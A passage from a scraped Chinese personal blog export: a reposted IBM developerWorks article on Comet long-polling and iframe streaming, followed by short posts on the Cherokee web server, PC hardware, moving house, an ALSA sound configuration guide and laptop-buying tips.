的限制。Linux 平台也支持 Flash XMLSocket 方案。但此方案的缺点在于：\n客户端必须安装 Flash 播放器； 因为 XMLSocket 没有 HTTP 隧道功能，XMLSocket 类不能自动穿过防火墙； 因为是使用套接口，需要设置一个通信端口，防火墙、代理服务器也可能对非 HTTP 通道端口进行限制； 不过这种方案在一些网络聊天室，网络互动游戏中已得到广泛使用。\nJava Applet 套接口 在客户端使用 Java Applet，通过 java.net.Socket 或 java.net.DatagramSocket 或 java.net.MulticastSocket 建立与服务器端的套接口连接，从而实现\u0026ldquo;服务器推\u0026rdquo;。\n这种方案最大的不足在于 Java applet 在收到服务器端返回的信息后，无法通过 JavaScript 去更新 HTML 页面的内容。\n回页首 基于 HTTP 长连接的\u0026ldquo;服务器推\u0026rdquo;技术\nComet 简介\n浏 览器作为 Web 应用的前台，自身的处理功能比较有限。浏览器的发展需要客户端升级软件，同时由于客户端浏览器软件的多样性，在某种意义上，也影响了浏览器新技术的推广。 在 Web 应用中，浏览器的主要工作是发送请求、解析服务器返回的信息以不同的风格显示。AJAX 是浏览器技术发展的成果，通过在浏览器端发送异步请求，提高了单用户操作的响应性。但 Web 本质上是一个多用户的系统，对任何用户来说，可以认为服务器是另外一个用户。现有 AJAX 技术的发展并不能解决在一个多用户的 Web 应用中，将更新的信息实时传送给客户端，从而用户可能在\u0026ldquo;过时\u0026rdquo;的信息下进行操作。而 AJAX 的应用又使后台数据更新更加频繁成为可能。\n图 1. 传统的 Web 应用模型与基于 AJAX 的模型之比较\n\u0026ldquo; 服务器推\u0026rdquo;是一种很早就存在的技术，以前在实现上主要是通过客户端的套接口，或是服务器端的远程调用。因为浏览器技术的发展比较缓慢，没有为\u0026ldquo;服务器推\u0026rdquo; 的实现提供很好的支持，在纯浏览器的应用中很难有一个完善的方案去实现\u0026ldquo;服务器推\u0026rdquo;并用于商业程序。最近几年，因为 AJAX 技术的普及，以及把 IFrame 嵌在\u0026ldquo;htmlfile\u0026ldquo;的 ActiveX 组件中可以解决 IE 的加载显示问题，一些受欢迎的应用如 meebo，gmail+gtalk 在实现中使用了这些新技术；同时\u0026ldquo;服务器推\u0026rdquo;在现实应用中确实存在很多需求。因为这些原因，基于纯浏览器的\u0026ldquo;服务器推\u0026rdquo;技术开始受到较多关注，Alex Russell（Dojo Toolkit 的项目 Lead）称这种基于 HTTP 长连接、无须在浏览器端安装插件的\u0026ldquo;服务器推\u0026rdquo;技术为\u0026ldquo;Comet\u0026rdquo;。目前已经出现了一些成熟的 Comet 应用以及各种开源框架；一些 Web 服务器如 Jetty 也在为支持大量并发的长连接进行了很多改进。关于 Comet 技术最新的发展状况请参考关于 Comet 的 wiki。\n下面将介绍两种 Comet 应用的实现模型。\n基于 AJAX 的长轮询（long-polling）方式\n如 图 1 所示，AJAX 的出现使得 JavaScript 可以调用 XMLHttpRequest 对象发出 HTTP 请求，JavaScript 响应处理函数根据服务器返回的信息对 HTML 页面的显示进行更新。使用 AJAX 实现\u0026ldquo;服务器推\u0026rdquo;与传统的 AJAX 应用不同之处在于：\n服务器端会阻塞请求直到有数据传递或超时才返回。 客户端 JavaScript 响应处理函数会在处理完服务器返回的信息后，再次发出请求，重新建立连接。 当客户端处理接收的数据、重新建立连接时，服务器端可能有新的数据到达；这些信息会被服务器端保存直到客户端重新建立连接，客户端会一次把当前服务器端所有的信息取回。 图 2. 基于长轮询的服务器推模型\n一 些应用及示例如 \u0026ldquo;Meebo\u0026rdquo;, \u0026ldquo;Pushlet Chat\u0026rdquo; 都采用了这种长轮询的方式。相对于\u0026ldquo;轮询\u0026rdquo;（poll），这种长轮询方式也可以称为\u0026ldquo;拉\u0026rdquo;（pull）。因为这种方案基于 AJAX，具有以下一些优点：请求异步发出；无须安装插件；IE、Mozilla FireFox 都支持 AJAX。\n在 这种长轮询方式下，客户端是在 XMLHttpRequest 的 readystate 为 4（即数据传输结束）时调用回调函数，进行信息处理。当 readystate 为 4 时，数据传输结束，连接已经关闭。Mozilla Firefox 提供了对 Streaming AJAX 的支持， 即 readystate 为 3 时（数据仍在传输中），客户端可以读取数据，从而无须关闭连接，就能读取处理服务器端返回的信息。IE 在 readystate 为 3 时，不能读取服务器返回的数据，目前 IE 不支持基于 Streaming AJAX。\n基于 Iframe 及 htmlfile 的流（streaming）方式\niframe 是很早就存在的一种 HTML 标记， 通过在 HTML 页面里嵌入一个隐蔵帧，然后将这个隐蔵帧的 SRC 属性设为对一个长连接的请求，服务器端就能源源不断地往客户端输入数据。\n图 3. 基于流方式的服务器推模型\n上 节提到的 AJAX 方案是在 JavaScript 里处理 XMLHttpRequest 从服务器取回的数据，然后 Javascript 可以很方便的去控制 HTML 页面的显示。同样的思路用在 iframe 方案的客户端，iframe 服务器端并不返回直接显示在页面的数据，而是返回对客户端 Javascript 函数的调用，如\u0026ldquo;\u0026lt;script type=\u0026quot;text/javascript\u0026quot;\u0026gt;js_func(\u0026ldquo;data from server \u0026rdquo;)\u0026lt;/script\u0026gt;\u0026rdquo;。服务器端将返回的数据作为客户端 JavaScript 函数的参数传递；客户端浏览器的 Javascript 引擎在收到服务器返回的 JavaScript 调用时就会去执行代码。\n从 图 3 可以看到，每次数据传送不会关闭连接，连接只会在通信出现错误时，或是连接重建时关闭（一些防火墙常被设置为丢弃过长的连接， 服务器端可以设置一个超时时间， 超时后通知客户端重新建立连接，并关闭原来的连接）。\n使 用 iframe 请求一个长连接有一个很明显的不足之处：IE、Morzilla Firefox 下端的进度栏都会显示加载没有完成，而且 IE 上方的图标会不停的转动，表示加载正在进行。Google 的天才们使用一个称为\u0026ldquo;htmlfile\u0026rdquo;的 ActiveX 解决了在 IE 中的加载显示问题，并将这种方法用到了 gmail+gtalk 产品中。Alex Russell 在 \u0026ldquo;What else is burried down in the depth\u0026#8217;s of Google\u0026#8217;s amazing JavaScript?\u0026rdquo;文章中介绍了这种方法。Zeitoun 网站提供的 comet-iframe.tar.gz，封装了一个基于 iframe 和 htmlfile 的 JavaScript comet 对象，支持 IE、Mozilla Firefox 浏览器，可以作为参考。（请参见 参考资源）\n回页首 使用 Comet 模型开发自己的应用\n上面介绍了两种基于 HTTP 长连接的\u0026ldquo;服务器推\u0026rdquo;架构，更多描述了客户端处理长连接的技术。对于一个实际的应用而言，系统的稳定性和性能是非常重要的。将 HTTP 长连接用于实际应用，很多细节需要考虑。\n不要在同一客户端同时使用超过两个的 HTTP 长连接\n我 们使用 IE 下载文件时会有这样的体验，从同一个 Web 服务器下载文件，最多只能有两个文件同时被下载。第三个文件的下载会被阻塞，直到前面下载的文件下载完毕。这是因为 HTTP 1.1 规范中规定，客户端不应该与服务器端建立超过两个的 HTTP 连接， 新的连接会被阻塞。而 IE 在实现中严格遵守了这种规定。\nHTTP 1.1 对两个长连接的限制，会对使用了长连接的 Web 应用带来如下现象：在客户端如果打开超过两个的 IE 窗口去访问同一个使用了长连接的 Web 服务器，第三个 IE 窗口的 HTTP 请求被前两个窗口的长连接阻塞。\n所以在开发长连接的应用时， 必须注意在使用了多个 frame 的页面中，不要为每个 frame 的页面都建立一个 HTTP 长连接，这样会阻塞其它的 HTTP 请求，在设计上考虑让多个 frame 的更新共用一个长连接。\n服务器端的性能和可扩展性\n一般 Web 服务器会为每个连接创建一个线程，如果在大型的商业应用中使用 Comet，服务器端需要维护大量并发的长连接。在这种应用背景下，服务器端需要考虑负载均衡和集群技术；或是在服务器端为长连接作一些改进。\n应 用和技术的发展总是带来新的需求，从而推动新技术的发展。HTTP 1.1 与 1.0 规范有一个很大的不同：1.0 规范下服务器在处理完每个 Get/Post 请求后会关闭套接口连接； 而 1.1 规范下服务器会保持这个连接，在处理两个请求的间隔时间里，这个连接处于空闲状态。 Java 1.4 引入了支持异步 IO 的 java.nio 包。当连接处于空闲时，为这个连接分配的线程资源会返还到线程池，可以供新的连接使用；当原来处于空闲的连接的客户发出新的请求，会从线程池里分配一个线 程资源处理这个请求。 这种技术在连接处于空闲的机率较高、并发连接数目很多的场景下对于降低服务器的资源负载非常有效。\n但 是 AJAX 的应用使请求的出现变得频繁，而 Comet 则会长时间占用一个连接，上述的服务器模型在新的应用背景下会变得非常低效，线程池里有限的线程数甚至可能会阻塞新的连接。Jetty 6 Web 服务器针对 AJAX、Comet 应用的特点进行了很多创新的改进，请参考文章\u0026ldquo;AJAX，Comet and Jetty\u0026rdquo;（请参见 参考资源）。\n控制信息与数据信息使用不同的 HTTP 连接\n使用长连接时，存在一个很常见的场景：客户端网页需要关闭，而服务器端还处在读取数据的堵塞状态，客户端需要及时通知服务器端关闭数据连接。服务器在收到关闭请求后首先要从读取数据的阻塞状态唤醒，然后释放为这个客户端分配的资源，再关闭连接。\n所以在设计上，我们需要使客户端的控制请求和数据请求使用不同的 HTTP 连接，才能使控制请求不会被阻塞。\n在 实现上，如果是基于 iframe 流方式的长连接，客户端页面需要使用两个 iframe，一个是控制帧，用于往服务器端发送控制请求，控制请求能很快收到响应，不会被堵塞；一个是显示帧，用于往服务器端发送长连接请求。如果是基 于 AJAX 的长轮询方式，客户端可以异步地发出一个 XMLHttpRequest 请求，通知服务器端关闭数据连接。\n在客户和服务器之间保持\u0026ldquo;心跳\u0026rdquo;信息\n在浏览器与服务器之间维持一个长连接会为通信带来一些不确定性：因为数据传输是随机的，客户端不知道何时服务器才有数据传送。服务器端需要确保当客户端不再工作时，释放为这个客户端分配的资源，防止内存泄漏。因此需要一种机制使双方知道大家都在正常运行。在实现上：\n服务器端在阻塞读时会设置一个时限，超时后阻塞读调用会返回，同时发给客户端没有新数据到达的心跳信息。此时如果客户端已经关闭，服务器往通道写数据会出现异常，服务器端就会及时释放为这个客户端分配的资源。 如果客户端使用的是基于 AJAX 的长轮询方式；服务器端返回数据、关闭连接后，经过某个时限没有收到客户端的再次请求，会认为客户端不能正常工作，会释放为这个客户端分配、维护的资源。 当服务器处理信息出现异常情况，需要发送错误信息通知客户端，同时释放资源、关闭连接。 Pushlet \u0026#8211; 开源 Comet 框架\nPushlet 是一个开源的 Comet 框架，在设计上有很多值得借鉴的地方，对于开发轻量级的 Comet 应用很有参考价值。\n观察者模型\nPushlet 使用了观察者模型：客户端发送请求，订阅感兴趣的事件；服务器端为每个客户端分配一个会话 ID 作为标记，事件源会把新产生的事件以多播的方式发送到订阅者的事件队列里。\n客户端 JavaScript 库\npushlet 提供了基于 AJAX 的 JavaScript 库文件用于实现长轮询方式的\u0026ldquo;服务器推\u0026rdquo;；还提供了基于 iframe 的 JavaScript 库文件用于实现流方式的\u0026ldquo;服务器推\u0026rdquo;。\nJavaScript 库做了很多封装工作：\n定义客户端的通信状态：STATE_ERROR、STATE_ABORT、STATE_NULL、STATE_READY、STATE_JOINED、STATE_LISTENING； 保存服务器分配的会话 ID，在建立连接之后的每次请求中会附上会话 ID 表明身份； 提供了 join()、leave()、subscribe()、 unsubsribe()、listen() 等 API 供页面调用； 提供了处理响应的 JavaScript 函数接口 onData()、onEvent()… 网页可以很方便地使用这两个 JavaScript 库文件封装的 API 与服务器进行通信。\n客户端与服务器端通信信息格式\npushlet 定义了一套客户与服务器通信的信息格式，使用 XML 格式。定义了客户端发送请求的类型：join、leave、subscribe、unsubscribe、listen、refresh；以及响应的事件类型：data、join_ack、listen_ack、refresh、heartbeat、error、abort、subscribe_ack、unsubscribe_ack。\n服务器端事件队列管理\npushlet 在服务器端使用 Java Servlet 实现，其数据结构的设计框架仍可适用于 PHP、C 编写的后台客户端。\nPushlet 支持客户端自己选择使用流、拉（长轮询）、轮询方式。服务器端根据客户选择的方式在读取事件队列（fetchEvents）时进行不同的处理。\u0026ldquo;轮询\u0026rdquo;模式下 fetchEvents() 会马上返回。\u0026rdquo;流\u0026ldquo;和\u0026rdquo;拉\u0026ldquo;模式使用阻塞的方式读事件，如果超时，会发给客户端发送一个没有新信息收到的\u0026ldquo;heartbeat\u0026ldquo;事件，如果是\u0026ldquo;拉\u0026rdquo;模式，会把\u0026ldquo;heartbeat\u0026rdquo;与\u0026ldquo;refresh\u0026rdquo;事件一起传给客户端，通知客户端重新发出请求、建立连接。\n客户服务器之间的会话管理\n服务端在客户端发送 join 请求时，会为客户端分配一个会话 ID， 并传给客户端，然后客户端就通过此会话 ID 标明身份发出 subscribe 和 listen 请求。服务器端会为每个会话维护一个订阅的主题集合、事件队列。\n服务器端的事件源会把新产生的事件以多播的方式发送到每个会话（即订阅者）的事件队列里。\n回页首 小结\n本文介绍了如何在现有的技术基础上选择合适的方案开发一个\u0026ldquo;服务器推\u0026rdquo;的应用，最优的方案还是取决于应用需求的本身。相对于传统的 Web 应用， 目前开发 Comet 应用还是具有一定的挑战性。\n\u0026ldquo; 服务器推\u0026rdquo;存在广泛的应用需求，为了使 Comet 模型适用于大规模的商业应用，以及方便用户构建 Comet 应用，最近几年，无论是服务器还是浏览器都出现了很多新技术，同时也出现了很多开源的 Comet 框架、协议。需求推动技术的发展，相信 Comet 的应用会变得和 AJAX 一样普及。\n参考资料 学习\ndeveloperWorks 文章\u0026ldquo; 面向 Java 开发人员的 Ajax: 使用 Jetty 和 Direct Web Remoting 编写可扩展的 Comet 应用程序\u0026rdquo;：受异步服务器端事件驱动的 Ajax 应用程序实现较为困难，本文介绍了一种结合使用 Comet 模式和 Jetty 6 Continuations API 的解决方法。 \u0026ldquo;Comet: Low Latency Data for the Browser\u0026rdquo;：Alex Russell 是 Dojo Toolkit 的项目主管和 Dojo Foundation 的主席，他在这篇博客文章中提出了 Comet 这个术语。 \u0026ldquo;What else is burried down in the depth\u0026rsquo;s of Google\u0026rsquo;s amazing JavaScript?\u0026rdquo;（Alex Russel，2006 年 2 月）：Alex 在这篇文章里介绍了如何使用\u0026ldquo;htmlfile\u0026rdquo;ActiveX 控件解决 iframe 请求长连接时 IE 的加载显示问题。 Comet wiki：提供了很多开源 Comet 框架的链接。 Jetty：Jetty 是一种开源的基于标准的 Web 服务器，完全使用 Java 语言实现。 \u0026ldquo;Ajax, Comet and Jetty\u0026rdquo;（Greg Wilkins，Webtide，2006 年 1 月）：Wilkins 的这份白皮书讨论了扩展 Ajax 连接的 Jetty 架构方法。 Continuations：了解更多关于 Jetty 的 Continuations 特性的信息。 \u0026ldquo;pushlet\u0026rdquo;：开源 comet 框架，使用了观察者模型。浏览器端提供了基于 AJAX 和 iframe 的 JavaScript 库，服务器端使用 Java Servlet。 \u0026ldquo;How to implement COMET with PHP\u0026rdquo;：提供的 comet-iframe.tar.gz 使用 iframe/htmlfile 封装了一个 JavaScript comet 对象，支持 IE、Mozilla Firefox 浏览器。 \u0026ldquo;AFLAX\u0026rdquo;：Asynchronous Flash and XML，提供了强大的 Flash、Javascript 库和很多范例。 developerWorks Ajax 技术资源中心：能找到更多关于 Ajax 技术的文章和教程。 developerWorks Web 开发技术专区：提供了关于 Web 开发和架构方面的大量文章。 developerWorks Java 技术专区：提供了关于 Java 编程各个方面的数百篇文章。 浏览 技术书店，查阅有关本文所述主题以及其他技术主题的书籍。 获得产品和技术\nJetty：下载 Jetty。 讨论\n查看 developerWorks blogs，加入 developerWorks 社区。 关于作者\n周婷，软件工程师，目前在 IBM 中国软件开发技术实验室从事刀片服务器管理固件的开发工作。您可以通过 zhouting@cn.ibm.com 和她联系。\n","permalink":"https://hessian.cn/p/506.html","summary":"src:http://www.ibm.com/developerworks/cn/web/wa-lo-comet/\n周 婷 (zhouting@cn.ibm.com), 软件工程师, IBM 中国软件开发技术实验室\n2007 年 8 月 31 日\n很 多应用譬如监控、即时通信、即时报价系统都需要将后台发生的变化实时传送到客户端而无须客户端不停地刷新、发送请求。本文首先介绍、比较了常用的\u0026ldquo;服务器 推\u0026rdquo;方案，着重介绍了 Comet － 使用 HTTP 长连接、无须浏览器安装插件的两种\u0026ldquo;服务器推\u0026rdquo;方案：基于 AJAX 的长轮询方式；基于 iframe 及 htmlfile 的流方式。最后分析了开发 Comet 应用需要注意的一些问题，以及如何借助开源的 Comet 框架－pushlet 构建自己的\u0026ldquo;服务器推\u0026rdquo;应用。\n","title":"Comet：基于 HTTP 长连接的“服务器推”技术"},{"content":" Cherokee 号称是目前最快的 Web 服务器软件，在性能上，甚至比 Nginx 还略胜一筹。与 Apache、Lighttpd、Nginx 等其他同类软件的对比，大家不妨看看这个测试页面。其易用性做得也很不错。\nCherokee 的功能包括支持 FastCGI、SCGI、PHP、CGI、TLS 及 SSL 加密连接，虚拟主机，授权认证，实时编码，载入均衡，与 Apache 兼容的 log 文件等等。\nCherokee 内含一个名为 cherokee-admin 的工具，执行后，允许管理员直接通过浏览器进入 http://localhost:9090/ 对其进行管理和配置。比如，开启或关闭服务器，进行一般选项的设定，配置虚拟服务器、信息源、图标、Mime 类型等项目。\nHome: http://www.cherokee-project.com/ Document: http://www.cherokee-project.com/doc Download: http://www.cherokee-project.com/downloads.html ","permalink":"https://hessian.cn/p/557.html","summary":" Cherokee 号称是目前最快的 Web 服务器软件，在性能上，甚至比 Nginx 还略胜一筹。与 Apache、Lighttpd、Nginx 等其他同类软件的对比，大家不妨看看这个测试页面。其易用性做得也很不错。\nCherokee 的功能包括支持 FastCGI、SCGI、PHP、CGI、TLS 及 SSL 加密连接，虚拟主机，授权认证，实时编码，载入均衡，与 Apache 兼容的 log 文件等等。\nCherokee 内含一个名为 cherokee-admin 的工具，执行后，允许管理员直接通过浏览器进入 http://localhost:9090/ 对其进行管理和配置。比如，开启或关闭服务器，进行一般选项的设定，配置虚拟服务器、信息源、图标、Mime 类型等项目。\n","title":"号称目前最快的 Web 服务器软件 — Cherokee"},{"content":"主板: Jetway HA-02 / AMD 570X / SB600\nCPU: AMD 5000+ BlackEdition(散热器 AVC冰河战士)\n内存: Kingston 2G-800Mhz x 2 窄条\n显卡: Unika HD3850 无极 700Mhz/2200mhz/512Mb\n硬盘: WDC 640G/32M + Seagate 120G/8M + IBM 60G\n光驱: LG GH20NS10 (20X / SATA / 锁码刻 / 光雕)\n话筒: Hyundai CJC-M500\n耳机: 森海塞尔 HD202 + Somic ST-1603(Cmedia USB 3D 5.1 声卡)\n声卡: 德国坦克 Xfire 1723\n键盘: Logitech 黑珍珠\n鼠标: SteelSeries Ikari Laser （3200CPI）\n鼠标垫: Razer Mantis 细面\n手柄: 北通游戏手柄 震动3\n摄像头: 杂牌免驱500W像素\n电源: 大水牛 劲睿600(定功率500W)\n显示器: BenQ E2200 HDA(21.5\u0026quot; Full HD 1080p 1920*1080)\n","permalink":"https://hessian.cn/p/385.html","summary":"主板: Jetway HA-02 / AMD 570X / SB600\nCPU: AMD 5000+ BlackEdition(散热器 AVC冰河战士)\n内存: Kingston 2G-800Mhz x 2 窄条\n显卡: Unika HD3850 无极 700Mhz/2200mhz/512Mb\n硬盘: WDC 640G/32M + Seagate 120G/8M + IBM 60G\n光驱: LG GH20NS10 (20X / SATA / 锁码刻 / 光雕)\n话筒: Hyundai CJC-M500\n耳机: 森海塞尔 HD202 + Somic ST-1603(Cmedia USB 3D 5.1 声卡)\n声卡: 德国坦克 Xfire 1723\n键盘: Logitech 黑珍珠\n鼠标: SteelSeries Ikari Laser （3200CPI）\n鼠标垫: Razer Mantis 细面\n手柄: 北通游戏手柄 震动3\n摄像头: 杂牌免驱500W像素\n电源: 大水牛 劲睿600(定功率500W)\n显示器: BenQ E2200 HDA(21.5\u0026quot; Full HD 1080p 1920*1080)\n","title":"机器配置曝光···"},{"content":"龙芯开发差不多了···据某叫兽说5年会改变现在的CPU市场格局···\n政府如果要力挺龙芯的话大概也就得搞反盗版了，国人都穷噶，买不起正版（WINDOWS可是很贵的，PHOTOSHOP什么的都很贵的，还有就是龙芯的架构问题，是不能用windows的。）\n所以大概开源程序会成主流？\n不过现在说什么都还为时尚早，国产的CPU还是要支持的，等龙芯3出来了去弄他一块玩玩。\n","permalink":"https://hessian.cn/p/629.html","summary":"龙芯开发差不多了···据某叫兽说5年会改变现在的CPU市场格局···\n政府如果要力挺龙芯的话大概也就得搞反盗版了，国人都穷噶，买不起正版（WINDOWS可是很贵的，PHOTOSHOP什么的都很贵的，还有就是龙芯的架构问题，是不能用windows的。）\n","title":"我闻到了反盗版来临的味道···"},{"content":"How can I change where the audio is output to? Using xine\u0026#8217;s ALSA output pluggin, you can output to a specific device (or all devices).\nFinding the names of your cards\nFind out the name of your soundcards with the command: cat /proc/asound/cards In the example below, the first card (card 0) is called \u0026quot;Live\u0026quot; and the second card (card 1) called \u0026quot;Headset\u0026quot;: oliver@panda:~$ cat /proc/asound/cards\n0 [Live ]: EMU10K1 - SBLive! Value [CT4832]\nSBLive! Value [CT4832] (rev.8, serial:0x80271102) at 0xd000, irq 5\n1 [Headset ]: USB-Audio - Logitech USB Headset\nLogitech Logitech USB Headset at usb-0000:00:04.2-2, full speed Using a specific soundcard: method 1\nEnter the word \u0026quot;plughw:\u0026quot; and the name of your card in the box labelled \u0026quot;device used for stereo output:\u0026quot; in the xine-engine configuration tab. For example: plughw:Headset Alternatively, I had to use this entry to make my USB headphones work.\nhw:Headset,0 Using a specific soundcard: method 2\nSet up an ~/.asoundrc (user only) or /etc/asound.conf (system wide) file that aliases your hardware devices, and then insert that alias in the \u0026quot;device used for stereo output:\u0026quot; box in the xine-engine configuration tab. Alternatively, you can directly enter the alsa device (hw:0,0 or hw:1,0 and so on). If you choose this latter (alternate) method, be aware that ALSA\u0026#8217;s corresponding plugfoo (e.g. plughw:0,0 or plughw:1,0 and so on) routing through alsa-lib is much preferred. Here is a sample ~/.asoundrc for a machine that has an onboard Intel AC97 codec and a usb-audio device: pcm.intel8x0 {\ntype plug\nslave.pcm \u0026quot;hw:0\u0026quot;\n}\nctl.intel8x0 {\ntype hw\ncard 0\n}\npcm.usb-audio {\ntype plug\nslave.pcm \u0026quot;hw:1\u0026quot;\n}\nctl.usb-audio {\ntype hw\ncard 1\n} now enter \u0026quot;usb-audio\u0026quot; in the xine-engine setup screen and output should go to the usb-audio device (with alsa-lib properly handling sample rate conversion, channels, and so on). Using all your soundcards at once\nThis example allows Amarok to play music through all your sound devices at the same time.\n1. Copy the following text into the file ~/.asoundrc (change \u0026#8216;Live\u0026#8217; and \u0026#8216;Headset\u0026#8217; to the names of your sound devices \u0026#8211; or you can just use the card numbers \u0026#8216;0\u0026#8217; and \u0026#8216;1\u0026#8217;): # This creates a 2-channel interleaved pcm stream based on\n# two 2-channel slave devices.\npcm.both {\ntype route;\nslave.pcm {\n# create a virtual 4-channel device from two sound devices\ntype multi;\nslaves.a.pcm \u0026quot;plughw:Live\u0026quot;;\nslaves.a.channels 2;\nslaves.b.pcm \u0026quot;plughw:Headset\u0026quot;;\nslaves.b.channels 2;\nbindings.0.slave a;\nbindings.0.channel 0;\nbindings.1.slave a;\nbindings.1.channel 1;\nbindings.2.slave b;\nbindings.2.channel 0;\nbindings.3.slave b;\nbindings.3.channel 1;\n}\n# Map two channels of input to four channels of output\nttable.0.0 1;\nttable.1.1 1;\nttable.0.2 1;\nttable.1.3 1;\n}\n# Some programs will be unhappy if there is no mixer to talk to,\n# so we set this to one of the cards.\n# This could be any card (Headset or Live in this example).\nctl.both {\ntype hw;\ncard Headset;\n} 2. Save the .asoundrc file and restart Amarok. 3. Edit the box labelled \u0026quot;device used for stereo output:\u0026quot; in the xine-engine configuration tab so it reads: plug:both Other tips\nTo use a dmixed virtual device, ensure that the \u0026quot;sound card can do mmap\u0026quot; checkbox is unchecked.\nImage:Xine-config.jpg\n","permalink":"https://hessian.cn/p/497.html","summary":"How can I change where the audio is output to? Using xine\u0026#8217;s ALSA output pluggin, you can output to a specific device (or all devices).\nFinding the names of your cards\nFind out the name of your soundcards with the command: cat /proc/asound/cards In the example below, the first card (card 0) is called \u0026quot;Live\u0026quot; and the second card (card 1) called \u0026quot;Headset\u0026quot;: oliver@panda:~$ cat /proc/asound/cards\n0 [Live ]: EMU10K1 - SBLive! Value [CT4832]\nSBLive! Value [CT4832] (rev.8, serial:0x80271102) at 0xd000, irq 5\n1 [Headset ]: USB-Audio - Logitech USB Headset\nLogitech Logitech USB Headset at usb-0000:00:04.2-2, full speed Using a specific soundcard: method 1\n","title":"Amarok Wiki: How to change the audio output to."},{"content":"最近机器老出毛病，还以为是硬盘问题，没想到居然是电压。。。。囧。。。不过硬盘也是比较老啦，空间也老不够，看现在价格挺不错赶紧入手个 西部数据 640G/32M 的用用\n在鼎好3层买的 530，比较亏，性能上比16M缓存的没什么优势，价格贵了70块，这个32M比较不值，不过当时16的已经没货了，懒得到周一再跑一趟，就干脆买下了。\n再放个HD TUNE的测试数据\n在测试的时候我还在听音乐，嘿嘿，反正应该还没到最佳状态就是啦。\n然后又买了两条 金士顿 2G/DDR2 800Mhz 的窄条， 真够窄的，就插槽两边的卡子那么高点。。。很好玩。。呵。。。\n可惜原来两条1G的是667的频率，导致混插只能工作在667的频率之下，不过啦，对我来说这点速度差别也感受不出来，无所谓了，反正我容量够大。。。HOHO\nwindows xp 32bit的在我机器上只能识别出3.25G的内存，这是早就预料到的，本想把多于的内存用RamDisk做内存盘放一些临时数据什么的，结果我装上RamDisk之后居然没发现别人截图里的那些功能。。。实在令人很囧。。。有时间还是把我Linux装上吧。。。不过也还是得弄pae的内核呢。。。\n都麻烦。。。\n顺便牢骚一下，我们这片的电压是那个低啊。。。特别现在快入冬了，好多人都在开那电热取暖器，下班回家后电脑都开不了了，我刚买的个UPS 输入电压要求是165V，结果都达不到 不工作。。。。算起来还没我的机箱电源强大，有时候我都开机在运行了，丫还是不能正常使用市电模式，烂死了，明天得去换个稳压器好了。。。\n无法忍受啊。。。住这破地方，网用不好也就算了，居然现在连电都不让我用舒坦。。。。\n我搬。。我一定搬。。。我迟早得搬。。\n","permalink":"https://hessian.cn/p/344.html","summary":"最近机器老出毛病，还以为是硬盘问题，没想到居然是电压。。。。囧。。。不过硬盘也是比较老啦，空间也老不够，看现在价格挺不错赶紧入手个 西部数据 640G/32M 的用用\n","title":"升级！！！硬盘黄瓜价，内存白菜价···"},{"content":"忍不住的感动····\n啊··又迷上GUNDAM了···\n最初只是因为梶浦的曲子又爬回去翻的···\n现在是喜欢上了SEED系列的全部。。。。ED/OP/IN。。。。额。。。\n完蛋了。。。\n","permalink":"https://hessian.cn/p/566.html","summary":"忍不住的感动····\n啊··又迷上GUNDAM了···\n最初只是因为梶浦的曲子又爬回去翻的···\n现在是喜欢上了SEED系列的全部。。。。ED/OP/IN。。。。额。。。\n","title":"上周末又看了一遍GUNDAM SEED··"},{"content":"前段时间搬家咯···\n一个小窝···\n也不错吧··多少是个窝··\n重要的是有网···再也不用在公司偷偷的玩DNF了，也不用担心玩的开心的时候BOSS从哪窜出来布置个什么莫名其妙的任务···\n可就TM的是这网让我肝火直冒··\n一小楼十几户人用个大概是2M的宽带···\n一天24小时不间断的有人下东西··\n网速最低值甚至达到了字节单位··\n实在是很有砍人的冲动··\n除了上上QQ你说我还能干点啥？\n我DNF5段···就因为卡得没法玩···掉段了···级也没法练了··\n没人跟你组队···没人跟你PK···\n整天就只能玩玩单机咯··\n弄得我鬼泣4都通关了三个难度了···\n不过打Bloody Palace还是过不了20那死火牛呢··或许Nero会好打些···\nJJYYing\u0026#8220;\u0026#8220;`\n心情老不好了···\n很不好··\n大概以后是不会玩DNF了···\n为了什么呢？\n呵···不想说··\n","permalink":"https://hessian.cn/p/575.html","summary":"前段时间搬家咯···\n一个小窝···\n也不错吧··多少是个窝··\n重要的是有网···再也不用在公司偷偷的玩DNF了，也不用担心玩的开心的时候BOSS从哪窜出来布置个什么莫名其妙的任务···\n","title":"令人发狂的网络··"},{"content":"换房了。。。比以前住的小，情况要差些 到时要两人住一间房\n没卫生间，屋里除了一张床还有个水龙头，不过多少还有扇窗户。。。也算不错了\n价格很便宜，反正也就是个睡觉的地方而已，我到也没那么挑剔，就是洗澡什么的也比较麻烦是令人讨厌\n好在屋子里有网线，总算下班后可以回自己的小窝安安心心的上上网不用担心boss莫名其妙的从哪冒出来给布置个什么莫名其妙的任务了。。。哈哈。。。\n","permalink":"https://hessian.cn/p/524.html","summary":"换房了。。。比以前住的小，情况要差些 到时要两人住一间房\n没卫生间，屋里除了一张床还有个水龙头，不过多少还有扇窗户。。。也算不错了\n价格很便宜，反正也就是个睡觉的地方而已，我到也没那么挑剔，就是洗澡什么的也比较麻烦是令人讨厌\n好在屋子里有网线，总算下班后可以回自己的小窝安安心心的上上网不用担心boss莫名其妙的从哪冒出来给布置个什么莫名其妙的任务了。。。哈哈。。。\n","title":"最近搬新房了"},{"content":"突然发现我刚发的两条留言莫名其妙的消失了诶\n","permalink":"https://hessian.cn/p/647.html","summary":"突然发现我刚发的两条留言莫名其妙的消失了诶\n","title":"难道百度回档了？"},{"content":"买本必看,防商家忽悠秘籍.(希望能帮到大家我可是写了半个小时哦)希望大家能耐性的看完我的文章.\n\u0026nbsp;\n我现在从事笔记本电脑销 售业务，以前在读大一的时候卖过本子.呵呵,那就结合自己的实际情况，写一篇对各位朋友友在购买笔记本电脑时有帮助的贴子吧．而目前这个市场也确实不规 范，那么，就让我们擦亮眼睛，来看看怎么样防止电脑城形形色色的ＪＳ吧．先声明一下，电脑城绝大多数都是讲诚信的销售，包括我自己哦，但是，还是有一部 分，为了赚钱确实是不择手段了，那么，让我们一起来看一下有哪些招数吧\n\u0026nbsp;\n第一：最重要的一点：不要轻易改变自己已经看好的笔记本电脑型号和配置！原因很简章，当你看中这一款了，你之前对这款的配置和价格都问了很多家经销商了． 因为笔记本市场竞争激烈，基本上你问的价格对经销商来说，就没利润了．那怎么办呢？很简单，给你改型号，试想一下，你跑了一天了，那个型号也问的差不多 了，而经销商通过各种技巧让你买另一款机子，看看天色也晚了，自己也跑累了，不想出去跑了，看着销售员＂善良＂的眼神，想想这个款也差不多，算了，不出去 